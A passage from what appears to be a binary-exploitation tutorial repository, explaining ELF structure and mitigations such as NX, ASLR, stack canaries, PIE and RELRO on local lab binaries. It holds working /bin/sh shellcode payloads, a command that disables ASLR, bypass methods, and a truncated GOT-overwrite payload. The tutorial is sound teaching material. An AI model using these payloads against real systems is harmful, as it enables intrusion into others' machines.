00000000000f4930 000f4930 152 | 00000000000044c4 0000000000000000 A 0 0 4 153 | [18] .eh_frame PROGBITS 00000000000f8df8 000f8df8 154 | 0000000000017938 0000000000000000 A 0 0 8 155 | [19] .init_array INIT_ARRAY 00000000001123f0 001113f0 156 | 0000000000000008 0000000000000008 WA 0 0 8 157 | [20] .fini_array FINI_ARRAY 00000000001123f8 001113f8 158 | 0000000000000008 0000000000000008 WA 0 0 8 159 | [21] .data.rel.ro PROGBITS 0000000000112400 00111400 160 | 00000000000028f0 0000000000000000 WA 0 0 32 161 | [22] .dynamic DYNAMIC 0000000000114cf0 00113cf0 162 | 0000000000000200 0000000000000010 WA 6 0 8 163 | [23] .got PROGBITS 0000000000114ef0 00113ef0 164 | 0000000000000100 0000000000000008 WA 0 0 8 165 | [24] .got.plt PROGBITS 0000000000115000 00114000 166 | 00000000000006e8 0000000000000008 WA 0 0 8 167 | [25] .data PROGBITS 0000000000115700 00114700 168 | 0000000000008604 0000000000000000 WA 0 0 32 169 | [26] .bss NOBITS 000000000011dd20 0011cd04 170 | 0000000000009c78 0000000000000000 WA 0 0 32 171 | [27] .gnu_debuglink PROGBITS 0000000000000000 0011cd04 172 | 0000000000000034 0000000000000000 0 0 4 173 | [28] .shstrtab STRTAB 0000000000000000 0011cd38 174 | 000000000000010a 0000000000000000 0 0 1 175 | Key to Flags: 176 | W (write), A (alloc), X (execute), M (merge), S (strings), I (info), 177 | L (link order), O (extra OS processing required), G (group), T (TLS), 178 | C (compressed), x (unknown), o (OS specific), E (exclude), 179 | l (large), p (processor specific) 180 | ``` 181 | 182 | ## ELF features 183 | 184 | This is where you will understand the key things you need to do binary exploitation. 185 | 186 | ### Base Address 187 | 188 | For accuracy, I took it from [here](https://refspecs.linuxbase.org/elf/elf.pdf "https://refspecs.linuxbase.org/elf/elf.pdf"). 189 | 190 | The virtual addresses in the program headers might not represent the actual virtual addresses of the program's memory image. The system chooses virtual addresses for individual processes, it maintains the segments’ relative positions. Because position-independent code uses relative addressing between segments, the difference between virtual addresses in memory must match the difference between virtual addresses in the file. 191 | 192 | Thus, the base address for a process is a single constant value that represents the difference between the virtual addresses in memory and the virtual addresses in the file. 193 | 194 | ### Global Offset Table 195 | 196 | Position-independent code cannot contain absolute virtual addresses. Global Offset Table holds the absolute addresses. The program uses a position independent address to access the GOT (Global Offset Table). The GOT then gives the program an absolute address. 197 | 198 | Consider we have the following program: 199 | 200 | ```C 201 | #include 202 | 203 | int main(int argc, char *argv[]){ 204 | printf("Hello, World!"); 205 | } 206 | ``` 207 | 208 | In bash, compile it and run gdb. (I use [gef](https://gef.readthedocs.io/en/master/ "https://gef.readthedocs.io/en/master/")). 209 | 210 | ```bash 211 | gcc hello.c -o hello 212 | gdb -q hello 213 | b *main + 38 214 | r 215 | got 216 | ``` 217 | Result: 218 | 219 | ```bash 220 | gef➤ got 221 | 222 | GOT protection: Partial RelRO | GOT functions: 2 223 | 224 | [0x5655900c] printf@GLIBC_2.0 → 0x56556036 225 | [0x56559010] __libc_start_main@GLIBC_2.0 → 0xf7df1a50 226 | gef➤ 227 | ``` 228 | 229 | Here, you can see that the printf address is mapped to the actual printf address in libc. 230 | 231 | ### Segments permissions 232 | 233 | Each segment has permission: read, write, execute, as always. 234 | 235 | For example, do this in gef: 236 | 237 | ```bash 238 | gef➤ vmmap 239 | [ Legend: Code | Heap | Stack ] 240 | Start End Offset Perm Path 241 | 0x56555000 0x56556000 0x00000000 r-- /home/zero/hello 242 | 0x56556000 0x56557000 0x00001000 r-x /home/zero/hello 243 | 0x56557000 0x56558000 0x00002000 r-- /home/zero/hello 244 | 0x56558000 0x56559000 0x00002000 r-- /home/zero/hello 245 | 0x56559000 0x5655a000 0x00003000 rw- /home/zero/hello 246 | 0xf7dd7000 0xf7df0000 0x00000000 r-- /usr/lib32/libc-2.28.so 247 | 0xf7df0000 0xf7f3e000 0x00019000 r-x /usr/lib32/libc-2.28.so 248 | 0xf7f3e000 0xf7fae000 0x00167000 r-- /usr/lib32/libc-2.28.so 249 | 0xf7fae000 0xf7faf000 0x001d7000 --- /usr/lib32/libc-2.28.so 250 | 0xf7faf000 0xf7fb1000 0x001d7000 r-- /usr/lib32/libc-2.28.so 251 | 0xf7fb1000 0xf7fb2000 0x001d9000 rw- /usr/lib32/libc-2.28.so 252 | 0xf7fb2000 0xf7fb5000 0x00000000 rw- 253 | 0xf7fcd000 0xf7fcf000 0x00000000 rw- 254 | 0xf7fcf000 0xf7fd2000 0x00000000 r-- [vvar] 255 | 0xf7fd2000 0xf7fd4000 0x00000000 r-x [vdso] 256 | 0xf7fd4000 0xf7fd5000 0x00000000 r-- /usr/lib32/ld-2.28.so 257 | 0xf7fd5000 0xf7ff1000 0x00001000 r-x /usr/lib32/ld-2.28.so 258 | 0xf7ff1000 0xf7ffb000 0x0001d000 r-- /usr/lib32/ld-2.28.so 259 | 0xf7ffc000 0xf7ffd000 0x00027000 r-- /usr/lib32/ld-2.28.so 260 | 0xf7ffd000 0xf7ffe000 0x00028000 rw- /usr/lib32/ld-2.28.so 261 | 0xfffdd000 0xffffe000 0x00000000 rw- [stack] 262 | ``` 263 | 264 | You see that stack, for instance, has read-write permissions. 265 | -------------------------------------------------------------------------------- /content/security-techniques/security-techniques.md: -------------------------------------------------------------------------------- 1 | # Security techniques 2 | 3 | Security techniques were invented to prevent exploitation of the programs. Each of them is aimed at concrete vulnerability. In general, these techniques are just compiler options or OS configuration. 4 | 5 | ## Non-Executable Stack(NX) 6 | 7 | Prevents the attacker from jumping to the shellcode within the stack by disabling the execution of the stack. I disabled it before with an option of the compiler: `-z execstack`. Thus, it makes the stack executable or, in other words, it allows you to execute the content of the stack. 8 | 9 | Let's try our stack-overflow exploit that we did before. 10 | 11 | Firstly, start the exploit without the NX option: 12 | ```bash 13 | $ checksec stack-overflow 14 | [*] '/home/shogun/repos/basics-of-pwn/content/stack-overflow/stack-overflow' 15 | Arch: i386-32-little 16 | RELRO: Partial RELRO 17 | Stack: No canary found 18 | NX: NX disabled 19 | PIE: No PIE (0x8048000) 20 | RWX: Has RWX segments 21 | $ python3 exploit.py 22 | [+] Starting local process './stack-overflow': pid 6803 23 | [*] Switching to interactive mode 24 | $ w 25 | 19:56:08 up 28 min, 1 user, load average: 0.47, 0.65, 0.60 26 | USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT 27 | shogun tty7 :0 19:27 28:37 1:25 1.39s xfce4-session 28 | $ 29 | ``` 30 | 31 | Exploit works. 32 | 33 | Now, try it with NX enabled: 34 | ```bash 35 | $ gcc ../stack-overflow/stack-overflow.c -o stack-overflow-with-nx -fno-stack-protector -no-pie 36 | $ checksec stack-overflow-with-nx 37 | [*] '/home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx' 38 | Arch: amd64-64-little 39 | RELRO: Partial RELRO 40 | Stack: No canary found 41 | NX: NX enabled 42 | PIE: No PIE (0x400000) 43 | $ cp ../stack-overflow/exploit.py stack-overflow-exploit.py 44 | $ python3 stack-overflow-exploit.py 45 | [+] Starting local process './stack-overflow-with-nx': pid 7040 46 | [*] Switching to interactive mode 47 | [*] Got EOF while reading in interactive 48 | $ w 49 | [*] Process './stack-overflow-with-nx' stopped with exit code -11 (SIGSEGV) (pid 7040) 50 | [*] Got EOF while sending in interactive 51 | ``` 52 | 53 | Okay, you can see that the NX option is enabled as `checksec` said. And exploit is broken. Let's try without script: 54 | ```bash 55 | $ (python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*239 + "\x36\xcf\xff\xff"'; cat) | ./stack-overflow-with-nx 56 | 57 | Segmentation fault (core dumped) 58 | ``` 59 | 60 | Okay, the program just crashed. 61 | 62 | In gdb: 63 | ```bash 64 | gef➤ unset environment LINES 65 | gef➤ unset environment COLUMNS 66 | gef➤ r < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*239 + "\x36\xcf\xff\xff"') 67 | Starting program: /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*239 + "\x36\xcf\xff\xff"') 68 | 69 | Program received signal SIGSEGV, Segmentation fault. 70 | 0xffffcf36 in ?? () 71 | gef➤ x/100wx $esp - 0x12a 72 | 0xffffcea6: 0xcfc8f7fa 0x923affff 0xcec60804 0xcf00ffff 73 | 0xffffceb6: 0x0003ffff 0x92240000 0xd0000804 0xe76cf7ff 74 | 0xffffcec6: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 75 | 0xffffced6: 0xb0e18953 0x4180cd0b 0x41414141 0x41414141 76 | 0xffffcee6: 0x41414141 0x41414141 0x41414141 0x41414141 77 | 0xffffcef6: 0x41414141 0x41414141 0x41414141 0x41414141 78 | 0xffffcf06: 0x41414141 0x41414141 0x41414141 0x41414141 79 | 0xffffcf16: 0x41414141 0x41414141 0x41414141 0x41414141 80 | 0xffffcf26: 0x41414141 0x41414141 0x41414141 0x41414141 81 | 0xffffcf36: 0x41414141 0x41414141 0x41414141 0x41414141 82 | 0xffffcf46: 0x41414141 0x41414141 0x41414141 0x41414141 83 | 0xffffcf56: 0x41414141 0x41414141 0x41414141 0x41414141 84 | 0xffffcf66: 0x41414141 0x41414141 0x41414141 0x41414141 85 | 0xffffcf76: 0x41414141 0x41414141 0x41414141 0x41414141 86 | 0xffffcf86: 0x41414141 0x41414141 0x41414141 0x41414141 87 | 0xffffcf96: 0x41414141 0x41414141 0x41414141 0x41414141 88 | 0xffffcfa6: 0x41414141 0x41414141 0x41414141 0x41414141 89 | 0xffffcfb6: 0x41414141 0x41414141 0x41414141 0x41414141 90 | 0xffffcfc6: 0x41414141 0xcf364141 0x8000ffff 0x8000f7fa 91 | 0xffffcfd6: 0x0000f7fa 0xbee50000 0x0001f7dd 0xd0740000 92 | 0xffffcfe6: 0xd07cffff 0xd004ffff 0x8000ffff 0x0000f7fa 93 | 0xffffcff6: 0xd0580000 0x0000ffff 0xd0000000 0x0000f7ff 94 | 0xffffd006: 0x80000000 0x8000f7fa 0x0000f7fa 0x1c800000 95 | 0xffffd016: 0x9a909e20 0x0000dac2 0x00000000 0x00000000 96 | 0xffffd026: 0x00010000 0x90c00000 0x00000804 0x7cd40000 97 | gef➤ r < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*239 + "\xc6\xce\xff\xff"') 98 | Starting program: /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*239 + "\xc6\xce\xff\xff"') 99 | 100 | Program received signal SIGSEGV, Segmentation fault. 101 | 0xffffcec6 in ?? () 102 | gef➤ vmmap 103 | [ Legend: Code | Heap | Stack ] 104 | Start End Offset Perm Path 105 | 0x08048000 0x08049000 0x00000000 r-- /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx 106 | 0x08049000 0x0804a000 0x00001000 r-x /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx 107 | 0x0804a000 0x0804b000 0x00002000 r-- /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx 108 | 0x0804b000 0x0804c000 0x00002000 r-- /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx 109 | 0x0804c000 0x0804d000 0x00003000 rw- /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx 110 | 0x0804d000 0x0806f000 0x00000000 rw- [heap] 111 | 0xf7dbd000 0xf7dda000 0x00000000 r-- /lib/i386-linux-gnu/libc-2.31.so 112 | 0xf7dda000 0xf7f35000 0x0001d000 r-x /lib/i386-linux-gnu/libc-2.31.so 113 | 0xf7f35000 0xf7fa5000 0x00178000 r-- /lib/i386-linux-gnu/libc-2.31.so 114 | 0xf7fa5000 0xf7fa6000 0x001e8000 --- /lib/i386-linux-gnu/libc-2.31.so 115 | 0xf7fa6000 0xf7fa8000 0x001e8000 r-- /lib/i386-linux-gnu/libc-2.31.so 116 | 0xf7fa8000 0xf7faa000 0x001ea000 rw- /lib/i386-linux-gnu/libc-2.31.so 117 | 0xf7faa000 0xf7fac000 0x00000000 rw- 118 | 0xf7fcb000 0xf7fcd000 0x00000000 rw- 119 | 0xf7fcd000 0xf7fd0000 0x00000000 r-- [vvar] 120 | 0xf7fd0000 0xf7fd1000 0x00000000 r-x [vdso] 121 | 0xf7fd1000 0xf7fd2000 0x00000000 r-- /lib/i386-linux-gnu/ld-2.31.so 122 | 0xf7fd2000 0xf7ff0000 0x00001000 r-x /lib/i386-linux-gnu/ld-2.31.so 123 | 0xf7ff0000 0xf7ffb000 0x0001f000 r-- /lib/i386-linux-gnu/ld-2.31.so 124 | 0xf7ffc000 0xf7ffd000 0x0002a000 r-- /lib/i386-linux-gnu/ld-2.31.so 125 | 0xf7ffd000 0xf7ffe000 0x0002b000 rw- /lib/i386-linux-gnu/ld-2.31.so 126 | 0xfffdd000 0xffffe000 0x00000000 rw- [stack] 127 | ``` 128 | 129 | Even, if you will jump to the right address the program will not execute it, because you can see that the stack hasn't an X flag. 130 | 131 | But, it doesn't mean that you can't exploit it now. You can apply two exploitation techniques here: [Return to libc attack(ret2libc)](../bypass-security-techniques/bypass-security-techniques.md#return-to-libc-attack "https://github.com/whatsyourask/basics-of-pwn/blob/main/content/bypass-security-techniques/bypass-security-techniques.md#return-to-libc-attack") and `Return-Oriented programming(ROP)`. 132 | 133 | 134 | ## Address Space Layout Randomization(ASLR) 135 | 136 | Prevents the attacker from jumping to the shellcode wherever by randomize the address space of a process. So, if you want to jump to a concrete address, for example, `0xffffcfdd`, you can't do it directly, because every time you execute the program, its address space changes. I disabled it before with `echo "0" | sudo dd of=/proc/sys/kernel/randomize_va_space`. Also, it makes it difficult to use `ret2libc attack`, because in this attack, you need to locate needed functions and with ASLR they will have random addresses. 137 | 138 | Let's again try the stack-overflow exploit. 139 | 140 | ```bash 141 | $ sudo cat /proc/sys/kernel/randomize_va_space 142 | 2 143 | ``` 144 | 145 | 2 indicates that ASLR is enabled. 146 | 147 | ```bash 148 | gef➤ unset environment LINES 149 | gef➤ unset environment COLUMNS 150 | gef➤ r < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xda\xce\xff\xff"') 151 | Starting program: /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-for-aslr < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xda\xce\xff\xff"') 152 | 153 | Program received signal SIGILL, Illegal instruction. 154 | 0xffffcfd6 in ?? () 155 | gef➤ x/100wx $esp - 0x10e 156 | 0xffffcec6: 0x0003ffff 0x92240000 0xd0000804 0xd76cf7ff 157 | 0xffffced6: 0x6850c031 0x68732f2f 0x69622f68 0x50e3896e 158 | 0xffffcee6: 0xb0e18953 0x4180cd0b 0x41414141 0x41414141 159 | 0xffffcef6: 0x41414141 0x41414141 0x41414141 0x41414141 160 | 0xffffcf06: 0x41414141 0x41414141 0x41414141 0x41414141 161 | 0xffffcf16: 0x41414141 0x41414141 0x41414141 0x41414141 162 | 0xffffcf26: 0x41414141 0x41414141 0x41414141 0x41414141 163 | 0xffffcf36: 0x41414141 0x41414141 0x41414141 0x41414141 164 | 0xffffcf46: 0x41414141 0x41414141 0x41414141 0x41414141 165 | 0xffffcf56: 0x41414141 0x41414141 0x41414141 0x41414141 166 | 0xffffcf66: 0x41414141 0x41414141 0x41414141 0x41414141 167 | 0xffffcf76: 0x41414141 0x41414141 0x41414141 0x41414141 168 | 0xffffcf86: 0x41414141 0x41414141 0x41414141 0x41414141 169 | 0xffffcf96: 0x41414141 0x41414141 0x41414141 0x41414141 170 | 0xffffcfa6: 0x41414141 0x41414141 0x41414141 0x41414141 171 | 0xffffcfb6: 0x41414141 0x41414141 0x41414141 0x41414141 172 | 0xffffcfc6: 0x41414141 0x41414141 0x41414141 0xcfdc4141 173 | 0xffffcfd6: 0xce16ffff 0x622fffff 0x70006e69 0x7000f7fa 174 | 0xffffcfe6: 0x0000f7fa 0xaee50000 0x0001f7dd 0xd0840000 175 | 0xffffcff6: 0xd08cffff 0xd014ffff 0x7000ffff 0x0000f7fa 176 | 0xffffd006: 0xd0680000 0x0000ffff 0xd0000000 0x0000f7ff 177 | 0xffffd016: 0x70000000 0x7000f7fa 0x0000f7fa 0x93dd0000 178 | 0xffffd026: 0x35cd4860 0x00000ca2 0x00000000 0x00000000 179 | 0xffffd036: 0x00010000 0x90c00000 0x00000804 0x7cd40000 180 | 0xffffd046: 0x2410f7fe 0xc000f7fe 0x00010804 0x90c00000 181 | gef➤ 182 | ``` 183 | 184 | Okay, try to change the return address: 185 | ```bash 186 | gef➤ unset environment LINES 187 | gef➤ unset environment COLUMNS 188 | gef➤ r < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xd6\xce\xff\xff"') 189 | Starting program: /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-for-aslr < <(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xd6\xce\xff\xff"') 190 | process 58805 is executing new program: /bin/dash 191 | [Inferior 1 (process 58805) exited normally] 192 | gef➤ 193 | ``` 194 | 195 | Now, try it outside gdb with ltrace to see the addresses. 196 | ```bash 197 | $ (python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xda\xce\xff\xff"'; cat) | ltrace ./stack-overflow-for-aslr 198 | __libc_start_main(0x8049243, 1, 0xff9226f4, 0x8049270 199 | gets(0xff922546, 0xff922580, 3, 0x8049224) = 0xff922546 200 | --- SIGSEGV (Segmentation fault) --- 201 | +++ killed by SIGSEGV +++ 202 | w 203 | $ (python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xda\xce\xff\xff"'; cat) | ltrace ./stack-overflow-for-aslr 204 | __libc_start_main(0x8049243, 1, 0xffc80924, 0x8049270 205 | gets(0xffc80776, 0xffc807b0, 3, 0x8049224) = 0xffc80776 206 | --- SIGSEGV (Segmentation fault) --- 207 | +++ killed by SIGSEGV +++ 208 | w 209 | $ (python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A" * 239 + "\xda\xce\xff\xff"'; cat) | ltrace ./stack-overflow-for-aslr w 210 | __libc_start_main(0x8049243, 2, 0xffaa87a4, 0x8049270 211 | gets(0xffaa85f6, 0xffaa8630, 3, 0x8049224) = 0xffaa85f6 212 | --- SIGSEGV (Segmentation fault) --- 213 | +++ killed by SIGSEGV +++ 214 | w 215 | ``` 216 | 217 | Each time I run the program ltrace showed a different address. python script with [ret2libc](../bypass-security-techniques/ret2libc-attack.py) attack won't work too. ASLR can be evaded with the next method: place a large nop-chain with shellcode in the env variable and then jump to it. Of course, you must have the access to env variable and, also, you must check that the env variables will not be cleaned. You need a large payload here to increase the probability of jumping to your shellcode. Also, you have another method through leaking the single address within the program. If you can do it, then you can calculate the offset from the non-random address and use it in future attacks. 218 | 219 | ## Stack canary 220 | 221 | It is a protection against stack overflow that works by placing an integer value onto the stack and check it in each function return, if it was changed, then the program exits immediately. This value changes every time the program is started. To disable this protection you need to compile the program with `-fno-stack-protector` argument. 222 | 223 | Let's try to smash the stack. But firstly, consider the low-level code of the vuln_func: 224 | ```bash 225 | $ gdb -q stack-overflow-with-canary 226 | gef➤ disas vuln_func 227 | Dump of assembler code for function vuln_func: 228 | 0x08049231 <+0>: endbr32 229 | 0x08049235 <+4>: push ebp 230 | 0x08049236 <+5>: mov ebp,esp 231 | 0x08049238 <+7>: push ebx 232 | 0x08049239 <+8>: sub esp,0x104 233 | 0x0804923f <+14>: call 0x80492a0 <__x86.get_pc_thunk.ax> 234 | 0x08049244 <+19>: add eax,0x2dbc 235 | 0x08049249 <+24>: mov ecx,DWORD PTR gs:0x14 236 | 0x08049250 <+31>: mov DWORD PTR [ebp-0xc],ecx 237 | 0x08049253 <+34>: xor ecx,ecx 238 | 0x08049255 <+36>: sub esp,0xc 239 | 0x08049258 <+39>: lea edx,[ebp-0x106] 240 | 0x0804925e <+45>: push edx 241 | 0x0804925f <+46>: mov ebx,eax 242 | 0x08049261 <+48>: call 0x8049090 243 | 0x08049266 <+53>: add esp,0x10 244 | 0x08049269 <+56>: nop 245 | 0x0804926a <+57>: mov eax,DWORD PTR [ebp-0xc] 246 | 0x0804926d <+60>: xor eax,DWORD PTR gs:0x14 247 | 0x08049274 <+67>: je 0x804927b 248 | 0x08049276 <+69>: call 0x8049330 <__stack_chk_fail_local> 249 | 0x0804927b <+74>: mov ebx,DWORD PTR [ebp-0x4] 250 | 0x0804927e <+77>: leave 251 | 0x0804927f <+78>: ret 252 | End of assembler dump. 253 | gef➤ 254 | ``` 255 | 256 | Now, here we have a new function call `0x08049276 <+69>: call 0x8049330 <__stack_chk_fail_local>`, which do the check of the canary. Also, you can see that we have also a generation of the canary with `0x08049249 <+24>: mov ecx,DWORD PTR gs:0x14` and then placing it onto the stack with `0x08049250 <+31>: mov DWORD PTR [ebp-0xc],ecx`. 257 | 258 | Smash the stack: 259 | ```bash 260 | gef➤ r < <(python -c 'print "A" * 250') 261 | Starting program: /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-canary < <(python -c 'print "A" * 250') 262 | [Inferior 1 (process 6667) exited normally] 263 | gef➤ r < <(python -c 'print "A" * 260') 264 | Starting program: /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-canary < <(python -c 'print "A" * 260') 265 | *** stack smashing detected ***: terminated 266 | 267 | Program received signal SIGABRT, Aborted. 268 | 0xf7fd0b49 in __kernel_vsyscall () 269 | ``` 270 | 271 | Stack crashed and the program exited. 272 | 273 | There are two methods to bypass stack canary: leak the canary and brute-force it. 274 | 275 | ### Stack canary leaking 276 | 277 | This is possible if you have some vulnerable code that allows you to read the memory of the stack and see it in output. So, for example, you will have the format string vulnerability and with it, you leak the canary which you then use in your exploit and bypass this protection(Actually, here, there is no way to do a nice exploit without using pwntools. It is too hard to deal with output and so on...) 278 | 279 | ### Brute-force the canary 280 | 281 | The canary is placed at the start of the program. So, if it has a few forks and we can control input in them, then we can brute-force through them our canary. 282 | 283 | ## Position Independent Executable(PIE) 284 | 285 | This protection works by randomizing the address where to place the machine code and executing it regardless of its absolute address. It uses GOT for access to all functions that are used in the program. Addresses in GOT also are not absolute. I disabled this protection before with `-no-pie` argument. 286 | 287 | Firstly, let's see the `stack-overflow` binary without PIE in gdb: 288 | ```bash 289 | gef➤ disas main 290 | Dump of assembler code for function main: 291 | 0x08049243 <+0>: endbr32 292 | 0x08049247 <+4>: push ebp 293 | 0x08049248 <+5>: mov ebp,esp 294 | 0x0804924a <+7>: and esp,0xfffffff0 295 | 0x0804924d <+10>: call 0x8049263 <__x86.get_pc_thunk.ax> 296 | 0x08049252 <+15>: add eax,0x2dae 297 | 0x08049257 <+20>: call 0x8049211 298 | 0x0804925c <+25>: mov eax,0x0 299 | 0x08049261 <+30>: leave 300 | 0x08049262 <+31>: ret 301 | End of assembler dump. 302 | gef➤ 303 | gef➤ r 304 | Starting program: /home/shogun/repos/basics-of-pwn/content/stack-overflow/stack-overflow 305 | AAAA 306 | 307 | Breakpoint 1, 0x08049262 in main () 308 | 309 | 0x8049257 call 0x8049211 310 | 0x804925c mov eax, 0x0 311 | 0x8049261 leave 312 | → 0x8049262 ret 313 | ↳ 0xf7ddaee5 <__libc_start_main+245> add esp, 0x10 314 | 0xf7ddaee8 <__libc_start_main+248> sub esp, 0xc 315 | 0xf7ddaeeb <__libc_start_main+251> push eax 316 | 0xf7ddaeec <__libc_start_main+252> call 0xf7df4170 317 | 0xf7ddaef1 <__libc_start_main+257> push esi 318 | 0xf7ddaef2 <__libc_start_main+258> push esi 319 | ``` 320 | 321 | You can see that addresses of instructions is fixed to concrete addresses. Even in output of `objdump` you can find exactly the same addresses: 322 | ```bash 323 | 08049243
: 324 | 8049243: f3 0f 1e fb endbr32 325 | 8049247: 55 push %ebp 326 | 8049248: 89 e5 mov %esp,%ebp 327 | 804924a: 83 e4 f0 and $0xfffffff0,%esp 328 | 804924d: e8 11 00 00 00 call 8049263 <__x86.get_pc_thunk.ax> 329 | 8049252: 05 ae 2d 00 00 add $0x2dae,%eax 330 | 8049257: e8 b5 ff ff ff call 8049211 331 | 804925c: b8 00 00 00 00 mov $0x0,%eax 332 | 8049261: c9 leave 333 | 8049262: c3 ret 334 | ``` 335 | 336 | Consider the binary with enabled PIE in gdb: 337 | ```bash 338 | gef➤ disas main 339 | Dump of assembler code for function main: 340 | 0x0000127a <+0>: endbr32 341 | 0x0000127e <+4>: push ebp 342 | 0x0000127f <+5>: mov ebp,esp 343 | 0x00001281 <+7>: and esp,0xfffffff0 344 | 0x00001284 <+10>: call 0x129a <__x86.get_pc_thunk.ax> 345 | 0x00001289 <+15>: add eax,0x2d47 346 | 0x0000128e <+20>: call 0x1248 347 | 0x00001293 <+25>: mov eax,0x0 348 | 0x00001298 <+30>: leave 349 | 0x00001299 <+31>: ret 350 | End of assembler dump. 351 | gef➤ 352 | gef➤ r 353 | Starting program: /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-pie 354 | AAAA 355 | 356 | Breakpoint 1, 0x56556299 in main () 357 | 358 | 0x5655628e call 0x56556248 359 | 0x56556293 mov eax, 0x0 360 | 0x56556298 leave 361 | → 0x56556299 ret 362 | ↳ 0xf7ddaee5 <__libc_start_main+245> add esp, 0x10 363 | 0xf7ddaee8 <__libc_start_main+248> sub esp, 0xc 364 | 0xf7ddaeeb <__libc_start_main+251> push eax 365 | 0xf7ddaeec <__libc_start_main+252> call 0xf7df4170 366 | 0xf7ddaef1 <__libc_start_main+257> push esi 367 | 0xf7ddaef2 <__libc_start_main+258> push esi 368 | ``` 369 | 370 | Here, we have the same instructions as if it was without PIE. 371 | 372 | Let's see the GOT. 373 | 374 | Without PIE: 375 | ```bash 376 | gef➤ got 377 | 378 | GOT protection: Partial RelRO | GOT functions: 4 379 | 380 | [0x804c00c] gets@GLIBC_2.0 → 0xf7e2d1b0 381 | [0x804c010] system@GLIBC_2.0 → 0x8049050 382 | [0x804c014] __libc_start_main@GLIBC_2.0 → 0xf7ddadf0 383 | [0x804c018] setuid@GLIBC_2.0 → 0x8049070 384 | gef➤ 385 | ``` 386 | 387 | With PIE: 388 | ```bash 389 | gef➤ got 390 | 391 | GOT protection: Full RelRO | GOT functions: 4 392 | 393 | [0x56558fdc] gets@GLIBC_2.0 → 0xf7e2d1b0 394 | [0x56558fe0] system@GLIBC_2.0 → 0xf7e01830 395 | [0x56558fe4] __libc_start_main@GLIBC_2.0 → 0xf7ddadf0 396 | [0x56558fe8] setuid@GLIBC_2.0 → 0xf7e8a0f0 397 | gef➤ 398 | ``` 399 | 400 | This is proof that all addresses come from the addition of the static addresses + some random base offset. 401 | 402 | Thus, not a classic stack overflow attack with shellcode nor a ret2libc attack doesn't work with this protection. But, again like with other security techniques that we discussed before this protection can be evaded. For this, you need to have a vulnerable place in the program to somehow leak the one address of the program and then calculate the offset and use it offset in the future to calculate all needed addresses for your attack whether it's a classic shellcode injection or ret2libc attack. 403 | 404 | ## Relocation Read-Only(RELRO) 405 | 406 | This is the last security mechanism that makes some sections of the binary have read-only permissions. I disabled it with `-Wl,-z,norelro` in the attachment with GOT overwriting. 407 | 408 | So, there are two types of RELRO: Partial RELRO and Full RELRO. First "forces the GOT to come before the BSS in memory, eliminating the risk of a buffer overflows on a global variable overwriting GOT entries". But second, makes the GOT read-only, so, attacks like GOT overwrite will be useless when this option occurs. 409 | 410 | Let's dive in and see the difference in the 'got-overwrite' binary. I'll recompile it with enabled RELRO and will execute the exploit again. I didn't write python exploit on GOT overwrite and this was nice, because now when I compile it with Partial RELRO. Again, do the algorithm to exploit the format string and overwrite the GOT entries with system syscall. You can compare the exploit here and exploit there in the format-string section. Here, it changed. 411 | ```bash 412 | $ checksec got-overwrite-with-partial-relro 413 | [*] '/home/shogun/repos/basics-of-pwn/content/security-techniques/got-overwrite-with-partial-relro' 414 | Arch: i386-32-little 415 | RELRO: Partial RELRO 416 | Stack: No canary found 417 | NX: NX disabled 418 | PIE: No PIE (0x8048000) 419 | RWX: Has RWX segments 420 | $ ./got-overwrite-with-partial-relro $(python -c 'print "\x0c\xc0\x04\x08" + "\x0e\xc0\x04\x08" + 